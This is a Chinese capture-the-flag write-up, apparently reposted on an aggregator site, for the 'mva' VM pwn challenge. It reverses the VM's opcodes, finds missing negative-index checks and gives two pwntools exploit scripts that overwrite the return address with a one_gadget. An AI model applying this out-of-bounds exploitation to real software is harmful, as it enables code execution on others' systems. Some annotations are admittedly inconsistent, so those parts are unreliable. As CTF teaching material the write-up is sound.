IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓ 		图片批量下载器
↓批量下载图片,美女图库↓ 		图片自动播放器
↓图片自动播放器↓ 		一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> C++知识库 -> hfctf-mva-详细注释 -> 正文阅读

[C++知识库]hfctf-mva-详细注释

20.04保护全开
IDA的宏

/*
   This file contains definitions used by the Hex-Rays decompiler output.
   It has type definitions and convenience macros to make the
   output more readable.
   Copyright (c) 2007-2011 Hex-Rays
*/
#if defined(__GNUC__)
  typedef          long long ll;
  typedef unsigned long long ull;
  #define __int64 long long
  #define __int32 int
  #define __int16 short
  #define __int8  char
  #define MAKELL(num) num ## LL
  #define FMT_64 "ll"
#elif defined(_MSC_VER)
  typedef          __int64 ll;
  typedef unsigned __int64 ull;
  #define MAKELL(num) num ## i64
  #define FMT_64 "I64"
#elif defined (__BORLANDC__)
  typedef          __int64 ll;
  typedef unsigned __int64 ull;
  #define MAKELL(num) num ## i64
  #define FMT_64 "L"
#else
  #error "unknown compiler"
#endif
typedef unsigned int uint;
typedef unsigned char uchar;
typedef unsigned short ushort;
typedef unsigned long ulong;
 
typedef          char   int8;
typedef   signed char   sint8;
typedef unsigned char   uint8;
typedef          short  int16;
typedef   signed short  sint16;
typedef unsigned short  uint16;
typedef          int    int32;
typedef   signed int    sint32;
typedef unsigned int    uint32;
typedef ll              int64;
typedef ll              sint64;
typedef ull             uint64;
 
// Partially defined types:
#define _BYTE  uint8
#define _WORD  uint16
#define _DWORD uint32
#define _QWORD uint64
#if !defined(_MSC_VER)
#define _LONGLONG __int128
#endif
 
#ifndef _WINDOWS_
typedef int8 BYTE;
typedef int16 WORD;
typedef int32 DWORD;
typedef int32 LONG;
#endif
typedef int64 QWORD;
#ifndef __cplusplus
typedef int bool;       // we want to use bool in our C programs
#endif
 
// Some convenience macros to make partial accesses nicer
// first unsigned macros:
#define LOBYTE(x)   (*((_BYTE*)&(x)))   // low byte
#define LOWORD(x)   (*((_WORD*)&(x)))   // low word
#define LODWORD(x)  (*((_DWORD*)&(x)))  // low dword
#define HIBYTE(x)   (*((_BYTE*)&(x)+1))
#define HIWORD(x)   (*((_WORD*)&(x)+1))
#define HIDWORD(x)  (*((_DWORD*)&(x)+1))
#define BYTEn(x, n)   (*((_BYTE*)&(x)+n))
#define WORDn(x, n)   (*((_WORD*)&(x)+n))
#define BYTE1(x)   BYTEn(x,  1)         // byte 1 (counting from 0)
#define BYTE2(x)   BYTEn(x,  2)
#define BYTE3(x)   BYTEn(x,  3)
#define BYTE4(x)   BYTEn(x,  4)
#define BYTE5(x)   BYTEn(x,  5)
#define BYTE6(x)   BYTEn(x,  6)
#define BYTE7(x)   BYTEn(x,  7)
#define BYTE8(x)   BYTEn(x,  8)
#define BYTE9(x)   BYTEn(x,  9)
#define BYTE10(x)  BYTEn(x, 10)
#define BYTE11(x)  BYTEn(x, 11)
#define BYTE12(x)  BYTEn(x, 12)
#define BYTE13(x)  BYTEn(x, 13)
#define BYTE14(x)  BYTEn(x, 14)
#define BYTE15(x)  BYTEn(x, 15)
#define WORD1(x)   WORDn(x,  1)
#define WORD2(x)   WORDn(x,  2)         // third word of the object, unsigned
#define WORD3(x)   WORDn(x,  3)
#define WORD4(x)   WORDn(x,  4)
#define WORD5(x)   WORDn(x,  5)
#define WORD6(x)   WORDn(x,  6)
#define WORD7(x)   WORDn(x,  7)
 
// now signed macros (the same but with sign extension)
#define SLOBYTE(x)   (*((int8*)&(x)))
#define SLOWORD(x)   (*((int16*)&(x)))
#define SLODWORD(x)  (*((int32*)&(x)))
#define SHIBYTE(x)   (*((int8*)&(x)+1))
#define SHIWORD(x)   (*((int16*)&(x)+1))
#define SHIDWORD(x)  (*((int32*)&(x)+1))
#define SBYTEn(x, n)   (*((int8*)&(x)+n))
#define SWORDn(x, n)   (*((int16*)&(x)+n))
#define SBYTE1(x)   SBYTEn(x,  1)
#define SBYTE2(x)   SBYTEn(x,  2)
#define SBYTE3(x)   SBYTEn(x,  3)
#define SBYTE4(x)   SBYTEn(x,  4)
#define SBYTE5(x)   SBYTEn(x,  5)
#define SBYTE6(x)   SBYTEn(x,  6)
#define SBYTE7(x)   SBYTEn(x,  7)
#define SBYTE8(x)   SBYTEn(x,  8)
#define SBYTE9(x)   SBYTEn(x,  9)
#define SBYTE10(x)  SBYTEn(x, 10)
#define SBYTE11(x)  SBYTEn(x, 11)
#define SBYTE12(x)  SBYTEn(x, 12)
#define SBYTE13(x)  SBYTEn(x, 13)
#define SBYTE14(x)  SBYTEn(x, 14)
#define SBYTE15(x)  SBYTEn(x, 15)
#define SWORD1(x)   SWORDn(x,  1)
#define SWORD2(x)   SWORDn(x,  2)
#define SWORD3(x)   SWORDn(x,  3)
#define SWORD4(x)   SWORDn(x,  4)
#define SWORD5(x)   SWORDn(x,  5)
#define SWORD6(x)   SWORDn(x,  6)
#define SWORD7(x)   SWORDn(x,  7)
 
 
// Helper functions to represent some assembly instructions.
 
#ifdef __cplusplus
 
// Fill memory block with an integer value
inline void memset32(void *ptr, uint32 value, int count)
{
  uint32 *p = (uint32 *)ptr;
  for ( int i=0; i < count; i++ )
    *p++ = value;
}
 
// Generate a reference to pair of operands
template<class T>  int16 __PAIR__( int8  high, T low) { return ((( int16)high) << sizeof(high)*8) | uint8(low); }
template<class T>  int32 __PAIR__( int16 high, T low) { return ((( int32)high) << sizeof(high)*8) | uint16(low); }
template<class T>  int64 __PAIR__( int32 high, T low) { return ((( int64)high) << sizeof(high)*8) | uint32(low); }
template<class T> uint16 __PAIR__(uint8  high, T low) { return (((uint16)high) << sizeof(high)*8) | uint8(low); }
template<class T> uint32 __PAIR__(uint16 high, T low) { return (((uint32)high) << sizeof(high)*8) | uint16(low); }
template<class T> uint64 __PAIR__(uint32 high, T low) { return (((uint64)high) << sizeof(high)*8) | uint32(low); }
 
// rotate left
template<class T> T __ROL__(T value, uint count)
{
  const uint nbits = sizeof(T) * 8;
  count %= nbits;
 
  T high = value >> (nbits - count);
  value <<= count;
  value |= high;
  return value;
}
 
// rotate right
template<class T> T __ROR__(T value, uint count)
{
  const uint nbits = sizeof(T) * 8;
  count %= nbits;
 
  T low = value << (nbits - count);
  value >>= count;
  value |= low;
  return value;
}
 
// carry flag of left shift
template<class T> int8 __MKCSHL__(T value, uint count)
{
  const uint nbits = sizeof(T) * 8;
  count %= nbits;
 
  return (value >> (nbits-count)) & 1;
}
 
// carry flag of right shift
template<class T> int8 __MKCSHR__(T value, uint count)
{
  return (value >> (count-1)) & 1;
}
 
// sign flag
template<class T> int8 __SETS__(T x)
{
  if ( sizeof(T) == 1 )
    return int8(x) < 0;
  if ( sizeof(T) == 2 )
    return int16(x) < 0;
  if ( sizeof(T) == 4 )
    return int32(x) < 0;
  return int64(x) < 0;
}
 
// overflow flag of subtraction (x-y)
template<class T, class U> int8 __OFSUB__(T x, U y)
{
  if ( sizeof(T) < sizeof(U) )
  {
    U x2 = x;
    int8 sx = __SETS__(x2);
    return (sx ^ __SETS__(y)) & (sx ^ __SETS__(x2-y));
  }
  else
  {
    T y2 = y;
    int8 sx = __SETS__(x);
    return (sx ^ __SETS__(y2)) & (sx ^ __SETS__(x-y2));
  }
}
 
// overflow flag of addition (x+y)
template<class T, class U> int8 __OFADD__(T x, U y)
{
  if ( sizeof(T) < sizeof(U) )
  {
    U x2 = x;
    int8 sx = __SETS__(x2);
    return ((1 ^ sx) ^ __SETS__(y)) & (sx ^ __SETS__(x2+y));
  }
  else
  {
    T y2 = y;
    int8 sx = __SETS__(x);
    return ((1 ^ sx) ^ __SETS__(y2)) & (sx ^ __SETS__(x+y2));
  }
}
 
// carry flag of subtraction (x-y)
template<class T, class U> int8 __CFSUB__(T x, U y)
{
  int size = sizeof(T) > sizeof(U) ? sizeof(T) : sizeof(U);
  if ( size == 1 )
    return uint8(x) < uint8(y);
  if ( size == 2 )
    return uint16(x) < uint16(y);
  if ( size == 4 )
    return uint32(x) < uint32(y);
  return uint64(x) < uint64(y);
}
 
// carry flag of addition (x+y)
template<class T, class U> int8 __CFADD__(T x, U y)
{
  int size = sizeof(T) > sizeof(U) ? sizeof(T) : sizeof(U);
  if ( size == 1 )
    return uint8(x) > uint8(x+y);
  if ( size == 2 )
    return uint16(x) > uint16(x+y);
  if ( size == 4 )
    return uint32(x) > uint32(x+y);
  return uint64(x) > uint64(x+y);
}
 
#else
// The following definition is not quite correct because it always returns
// uint64. The above C++ functions are good, though.
#define __PAIR__(high, low) (((uint64)(high)<<sizeof(high)*8) | low)
// For C, we just provide macros, they are not quite correct.
#define __ROL__(x, y) __rotl__(x, y)      // Rotate left
#define __ROR__(x, y) __rotr__(x, y)      // Rotate right
#define __CFSHL__(x, y) invalid_operation // Generate carry flag for (x<<y)
#define __CFSHR__(x, y) invalid_operation // Generate carry flag for (x>>y)
#define __CFADD__(x, y) invalid_operation // Generate carry flag for (x+y)
#define __CFSUB__(x, y) invalid_operation // Generate carry flag for (x-y)
#define __OFADD__(x, y) invalid_operation // Generate overflow flag for (x+y)
#define __OFSUB__(x, y) invalid_operation // Generate overflow flag for (x-y)
#endif
 
// No definition for rcl/rcr because the carry flag is unknown
#define __RCL__(x, y)    invalid_operation // Rotate left thru carry
#define __RCR__(x, y)    invalid_operation // Rotate right thru carry
#define __MKCRCL__(x, y) invalid_operation // Generate carry flag for a RCL
#define __MKCRCR__(x, y) invalid_operation // Generate carry flag for a RCR
#define __SETP__(x, y)   invalid_operation // Generate parity flag for (x-y)
 
// In the decompilation listing there are some objects declarared as _UNKNOWN
// because we could not determine their types. Since the C compiler does not
// accept void item declarations, we replace them by anything of our choice,
// for example a char:
 
#define _UNKNOWN char
 
#ifdef _MSC_VER
#define snprintf _snprintf
#define vsnprintf _vsnprintf
#endif

分析

    instru = fetch();
    v6 = HIBYTE(instru);
    if ( v6 > 0xFu )

HIBYTE看汇编,eax算术右移24位，其实就是取最高8位（1字节）

mov     eax, [rbp+instru]
shr     eax, 18h
mov     [rbp+v6], ax

指令集逆向

推测指令集结构如下op | r2 | val

case 1u:
        if ( BYTE2(instru) >= 6u )
          exit(0);
        *((_WORD *)&reg + SBYTE2(instru)) = instru;// 汇编分析是两字节
op[r2] = val

op | r2 | r1 | r0

case 2u:
        if ( BYTE2(instru) >= 6u )
          exit(0);
        if ( BYTE1(instru) >= 6u )
          exit(0);
        if ( (unsigned __int8)instru >= 6u )
          exit(0);
        *((_WORD *)&reg + SBYTE2(instru)) = *((_WORD *)&reg + SBYTE1(instru)) + *((_WORD *)&reg + (char)instru);
        break;
reg[r2]= reg[r1]+reg[r0]

op | r2 | r1 | r0

case 3u:
        if ( BYTE2(instru) >= 6u )
          exit(0);
        if ( BYTE1(instru) >= 6u )
          exit(0);
        if ( (unsigned __int8)instru >= 6u )
          exit(0);
        *((_WORD *)&reg + SBYTE2(instru)) = *((_WORD *)&reg + SBYTE1(instru)) - *((_WORD *)&reg + (char)instru);
        break;

reg[r2]= reg[r1]-reg[r0]

op | r2 | r1 | r0

case 4u:
        if ( BYTE2(instru) >= 6u )
          exit(0);
        if ( BYTE1(instru) >= 6u )
          exit(0);
        if ( (unsigned __int8)instru >= 6u )
          exit(0);
        *((_WORD *)&reg + SBYTE2(instru)) = *((_WORD *)&reg + SBYTE1(instru)) & *((_WORD *)&reg + (char)instru);
        break;

reg[r2]=reg[r1]&reg[r0]

op | r2 | r1 | r0

case 5u:
        if ( BYTE2(instru) >= 6u )
          exit(0);
        if ( BYTE1(instru) >= 6u )
          exit(0);
        if ( (unsigned __int8)instru >= 6u )
          exit(0);
        *((_WORD *)&reg + SBYTE2(instru)) = *((_WORD *)&reg + SBYTE1(instru)) | *((_WORD *)&reg + (char)instru);
        break;

reg[r2]=reg[r1] | reg[r0]

op | r2 | r1 | r0

case 6u:
        if ( BYTE2(instru) >= 6u )
          exit(0);
        if ( BYTE1(instru) >= 6u )
          exit(0);
        *((_WORD *)&reg + SBYTE2(instru)) = (int)*((unsigned __int16 *)&reg + SBYTE2(instru)) >> *((_WORD *)&reg
                                                                                                 + SBYTE1(instru));
        break;

reg[r2]=reg[r2>>reg[r1]]

op | r2 | r1 | r0

case 7u:
        if ( BYTE2(instru) >= 6u )
          exit(0);
        if ( BYTE1(instru) >= 6u )
          exit(0);
        if ( (unsigned __int8)instru >= 6u )
          exit(0);
        *((_WORD *)&reg + SBYTE2(instru)) = *((_WORD *)&reg + SBYTE1(instru)) ^ *((_WORD *)&reg + (char)instru);
        break;
reg[r2]=reg[r1]^reg[r0]

case 8u:
        dword_403C = fetch();
        break;
nop

op | r2 | val 

case 9u:
        if ( _esp > 256 )
          exit(0);
        if ( BYTE2(instru) )
          stk[_esp] = instru;
        else
          stk[_esp] = reg;// ???
        ++_esp;
        break;

放入寄存器我没看懂？
op | r2

case 0xAu:
        if ( BYTE2(instru) >= 6u )
          exit(0);
        if ( !_esp )
          exit(0);
        *((_WORD *)&reg + SBYTE2(instru)) = stk[--_esp];
        break;

pop reg[r2]

没看懂这里。。

case 0xBu:
        v8 = fetch();
        if ( v4 == 1 )
          dword_403C = v8;
        break;

op | r2 | r1

case 0xCu:
        if ( BYTE2(instru) >= 6u )
          exit(0);
        if ( BYTE1(instru) >= 6u )
          exit(0);
        bool_flag = *((_WORD *)&reg + SBYTE2(instru)) == *((_WORD *)&reg + SBYTE1(instru));
        break;

eq reg[r2] reg[r1]

op | r2 | r1 | r0

case 0xDu:
        if ( BYTE2(instru) >= 6u )
          exit(0);
        if ( (unsigned __int8)instru >= 6u )
          exit(0);
        *((_WORD *)&reg + SBYTE2(instru)) = *((_WORD *)&reg + SBYTE1(instru)) * *((_WORD *)&reg + (char)instru);
        break;
reg[r2]=reg[r1]*reg[r0]

op | r2 | r1

case 0xEu:
        if ( BYTE2(instru) >= 6u )
          exit(0);
        if ( SBYTE1(instru) > 5 )
          exit(0);
        *((_WORD *)&reg + SBYTE1(instru)) = *((_WORD *)&reg + SBYTE2(instru));
        break;

reg[r1]=reg[r2]

case 0xFu:
        printf("%d\n", (unsigned __int16)stk[_esp]);
        break;

打印栈顶内容

漏洞点

虚拟机的漏洞目前只发现过数组越界
就想一想有没有负数检查
发现判断都是无符号比较
加上printf功能，可以试着越界读取libc地址存入栈中再打印？（但是这个idea马上就被pass掉了，还不如在寄存器里相加减得了）

  • mov 有寄存器下标负数未检查
  • mul 寄存器下标负数未检查
   0x555555555974    movsx  eax, byte ptr [rbp - 0x248]
   0x55555555597b    cdqe   
   0x55555555597d    movzx  ecx, word ptr [rbp + rax*2 - 0x21c]
 ? 0x555555555985    movsx  eax, byte ptr [rbp - 0x247]
   0x55555555598c    cdqe   
   0x55555555598e    movzx  edx, word ptr [rbp + rax*2 - 0x21c]
   0x555555555996    movsx  eax, byte ptr [rbp - 0x249]

注意是两个字节 代表着16位的虚拟机

bool_flag = *((_WORD *)&reg + SBYTE2(instru)) == *((_WORD *)&reg + SBYTE1(instru));s

思路：先用mul得到libc地址，改成onegadget的地址，然后往回写到返回地址
可是问题来了，mov有正数检查的,那改如何改到返回地址？

      case 0xEu:                                // mov
        if ( BYTE2(instru) >= 6u )              // 只判断了第一个寄存器
          exit(0);
        if ( SBYTE1(instru) > 5 )               // 这个只做了大小，没做负数判断
          exit(0);
        *((_WORD *)&reg + SBYTE1(instru)) = *((_WORD *)&reg + SBYTE2(instru));

既然可以用mov改负数寄存器，我们去看看栈更上的其他值,reg上面是esp

  __int16 bool_flag; // [rsp+1Ah] [rbp-246h]
  __int16 true_; // [rsp+1Ch] [rbp-244h]
  unsigned __int16 v6; // [rsp+20h] [rbp-240h]
  unsigned int instru; // [rsp+24h] [rbp-23Ch]
  int v8; // [rsp+28h] [rbp-238h]
  __int64 _esp; // [rsp+30h] [rbp-230h]
  __int64 reg; // [rsp+44h] [rbp-21Ch]
  int v11; // [rsp+4Ch] [rbp-214h]
  __int16 stk[260]; // [rsp+50h] [rbp-210h]
  unsigned __int64 v13; // [rsp+258h] [rbp-8h]

去看esp

      case 9u:                                  // push
        if ( _esp > 256 )                       // 有符号比较
          exit(0);
        if ( BYTE2(instru) )
          stk[_esp] = instru;
        else
          stk[_esp] = reg;                      // 0号寄存器
        ++_esp;

如果改成负数就能绕过，而且

.text:00000000000017DC mov     [rbp+rax*2+stk], dx

如果是800000xxxx的形式，乘2就变成正数了，这是个负数绕过

然后就能借助push写入onegadget了

关于ida的宏定义

复制了几个常见的

#define BYTEn(x, n)   (*((_BYTE*)&(x)+n))
#define HIBYTE(x)   (*((_BYTE*)&(x)+1))
#define BYTE1(x)   BYTEn(x,  1)         // byte 1 (counting from 0)
#define BYTE2(x)   BYTEn(x,  2)

#define SBYTEn(x, n)   (*((int8*)&(x)+n))
#define SBYTE1(x)   SBYTEn(x,  1)
#define SBYTE2(x)   SBYTEn(x,  2)

测试一下

typedef char _BYTE;
#define BYTEn(x, n)   (*((_BYTE*)&(x)+n))
#define HIBYTE(x)   (*((_BYTE*)&(x)+1))
#define BYTE1(x)   BYTEn(x,  1)         // byte 1 (counting from 0)
#define BYTE2(x)   BYTEn(x,  2)

#define SBYTEn(x, n)   (*((char*)&(x)+n))
#define SBYTE1(x)   SBYTEn(x,  1)
#define SBYTE2(x)   SBYTEn(x,  2)
#include <stdio.h>
int main(int argc, char const *argv[])
{
	long long a=0x12345678;
	printf("byte sequence is :%hhx %hhx %hhx %hhx\n",(*(char *)&a),*((char *)&a+1),*((char *)&a+2),*((char *)&a+3));
	printf("HIBYTE(a) is :%hhx\n",HIBYTE(a));
	printf("BYTE1(a) is :%hhx\n",BYTE1(a));
	printf("BYTE2(a) is :%hhx\n",BYTE2(a));
	printf("*((char)&a) is :%hhx\n",*((char*)&a));
	printf("SBYTE1(a) is :%hhx\n",SBYTE1(a));
	printf("SBYTE2(a) is :%hhx\n",SBYTE2(a));
	return 0;
}

结果

byte sequence is :78 56 34 12
HIBYTE(a) is :56
BYTE1(a) is :56
BYTE2(a) is :34
*((char)&a) is :78
SBYTE1(a) is :56
SBYTE2(a) is :34

所以对于我们的op|r0|r1|r2
就是op | (char) | BYTE1 | BYTE2(之前有几个忘记该了，就懒得改了

几个注意点

一个是做VMpwn要先检查虚拟机字节大小，我习惯性以为是32位 踩坑了
另外一个是，栈上的残留红色地址，不一定是可以利用的，一定要打开vmmap看一下，比如这个是ld，在开了aslr的情况下是打不通的（不开就能正常打）![image.png](https://img-blog.csdnimg.cn/img_convert/b42ea12dadb27d90651f96f23f743cf4.png#clientId=u9d5d6684-001f-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=350&id=ue0e992a5&margin=[object Object]&name=image.png&originHeight=438&originWidth=1077&originalType=binary&ratio=1&rotation=0&showTitle=false&size=258416&status=done&style=none&taskId=u0ab67ea9-2e43-414c-b40e-affb779174f&title=&width=861.6)
还有的是别用chr去弄字节，没法处理负数，需要to_bytes
然后就是寄存器相加的时候可能会溢出一个字节，问题不大，多试几次

exp

个人认为由于前期简化掉了pop和push操作，比市面上的wp要容易理解点？

from pwn import *
from ctypes import*
name="mva"
p = process("./"+name)
elf = ELF("./"+name)
_libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#context.log_level = "debug"
#context.terminal =  ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']

se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims             :p.recvuntil(delims)
_u32    = lambda data               :u32(data.ljust(4, b'\x00'))
_u64    = lambda data               :u64(data.ljust(8, b'\x00'))
info    = lambda tag, addr          :p.info('======>'+tag + ': {:#x}'.format(addr))
ir      = lambda                    :p.interactive()
raw     = lambda                    :raw_input()

def dbg(s=""):
	gdb.attach(p,s)
	raw()

ce=lambda c :(c&0xff).to_bytes(1,"little")
def en_code(op,r0=0,r1=0,r2=0):
	return ce(op)+ce(r0)+ce(r1)+ce(r2)

def ldr(r,val):
	return en_code(1,r,val>>8,val&0xff)

def add(r0,r1,r2):# reg[r0]=reg[r1]+reg[r2] op r0 r1 r2
	return en_code(2,r0,r1,r2)

def sub(r0,r1,r2):# reg[r0]=reg[r1]-reg[r2]
	return en_code(3,r0,r1,r2)

def push(val):
	return en_code(0x9,0,0,val&0xff)

def pop():
	return en_code(0xa)

def mul(r0,r1,r2): # reg[r0]=reg[r1]*reg[r2]
	return en_code(0xd,r0,r1,r2)

def mov(r0,r1):
	return en_code(0xe,r0,r1)

def exp():
	# reg $rbp-0x21C
	# stk 0x7fffffffdca0
	# esp 0x7fffffffdc80
	# add -> 1492
	# mul -> 1974
	# push -> 17DC
	# sub -> 1520
	# mov -> 19DB
	# BYTE2 BYTE1 char
	libc_base=0x7ffff7dbe000
	ogg=[0x7ffff7ea1b2e,0x7ffff7ea1b31,0x7ffff7ea1b34]# 0xe3b31
	pl=b''
	pl+=ldr(0,1)	# reg[0] <- 1
	pl+=mul(4,-62,0)# reg[4]=reg[58]*reg[0]=0x7fff
	pl+=mul(3,-61,0)# reg[3]=reg[59]*reg[0]=0xf7fc
	pl+=mul(2,-60,0)# reg[2]=reg[58]*reg[0]=0xd228
	# store  = 7fff f7e4 25ca
	# target = 7fff f7ea 1b31
	pl+=ldr(1,0xa-0x4)# reg[1]=0xa-0x4
	pl+=add(3,3,1)# reg[3]=reg[3]+reg[1]
	pl+=ldr(1,0x25ca-0x1b31)# reg[1]=0x25ca-0x1b31
	pl+=sub(4,4,1)# reg[3]=reg[3]-reg[1]
	# hijack _esp
	#p/x 0x218/2 -> 0x10c from stk to ret
	pl+=ldr(0,0x010c)# reg[1]=0x10c
	pl+=mov(0,-10)# _eip=0000 0000 0000 010c
	pl+=ldr(0,0x0000)
	pl+=mov(0,-9)# _eip=0000 0000 0000 010c
	pl+=ldr(0,0x0000)
	pl+=mov(0,-8)# _eip=0000 0000 0000 010c
	pl+=ldr(0,0x8000)
	pl+=mov(0,-7)# _eip=8000 0000 0000 010c
	# hijack ret
	pl+=mov(4,0) # reg[0]<-reg[4]
	pl+=push(0) # push 0x1b2e
	pl+=mov(3,0)
	pl+=push(0) # push 0xf7ea
	pl+=mov(2,0)
	pl+=push(0) # push 0x7fff
	pl=pl.ljust(0x100,b'\0')
	#dbg("b *$rebase(0x1974)")
	sa("[+] Welcome to MVA, input your code now :\n",pl)

exp()
ir()

简洁版exp

from pwn import *
from ctypes import*
name="mva"
p = process("./"+name)
elf = ELF("./"+name)
_libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims             :p.recvuntil(delims)
_u32    = lambda data               :u32(data.ljust(4, b'\x00'))
_u64    = lambda data               :u64(data.ljust(8, b'\x00'))
info    = lambda tag, addr          :p.info('======>'+tag + ': {:#x}'.format(addr))
ir      = lambda                    :p.interactive()
raw     = lambda                    :raw_input()

def dbg(s=""):
	gdb.attach(p,s)
	raw()

ce=lambda c :(c&0xff).to_bytes(1,"little")
def en_code(op,r0=0,r1=0,r2=0):
	return ce(op)+ce(r0)+ce(r1)+ce(r2)

def ldr(r,val):
	return en_code(1,r,val>>8,val&0xff)

def add(r0,r1,r2):# reg[r0]=reg[r1]+reg[r2] op r0 r1 r2
	return en_code(2,r0,r1,r2)

def sub(r0,r1,r2):# reg[r0]=reg[r1]-reg[r2]
	return en_code(3,r0,r1,r2)

def push(val):
	return en_code(0x9,0,0,val&0xff)

def mul(r0,r1,r2): # reg[r0]=reg[r1]*reg[r2]
	return en_code(0xd,r0,r1,r2)

def mov(r0,r1):
	return en_code(0xe,r0,r1)

def exp():
	pl=b''
	pl+=ldr(0,1)+mul(4,-62,0)+mul(3,-61,0)+mul(2,-60,0)
	pl+=ldr(1,0xa-0x4)+add(3,3,1)+ldr(1,0x25ca-0x1b31)
	pl+=sub(4,4,1)+ldr(0,0x10c)
	pl+=mov(0,-10)+ldr(0,0x0000)
	pl+=mov(0,-9)+ldr(0,0x0000)
	pl+=mov(0,-8)+ldr(0,0x8000)
	pl+=mov(0,-7)
	pl+=mov(4,0)+push(0)
	pl+=mov(3,0)+push(0)
	pl+=mov(2,0)+push(0)
	pl=pl.ljust(0x100,b'\0')
	sa("[+] Welcome to MVA, input your code now :\n",pl)

exp()
ir()
  C++知识库 最新文章
【C++】友元、嵌套类、异常、RTTI、类型转换
通讯录的思路与实现（C语言)
C++PrimerPlus 第七章 函数-C++的编程模块（
Problem C: 算法9-9~9-12：平衡二叉树的基本
MSVC C++ UTF-8编程
C++进阶 多态原理
简单string类c++实现
我的年度总结
【C语言】以深厚地基筑伟岸高楼-基础篇（六
c语言常见错误合集
上一篇文章      下一篇文章      查看所有文章
加:2022-04-04 11:50:13  更:2022-04-04 11:52:11 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 0:39:45-

图片自动播放器
↓图片自动播放器↓ 		TxT小说阅读器
↓语音阅读,小说下载,古典文学↓ 		一键清除垃圾
↓轻轻一点,清除系统垃圾↓ 		图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码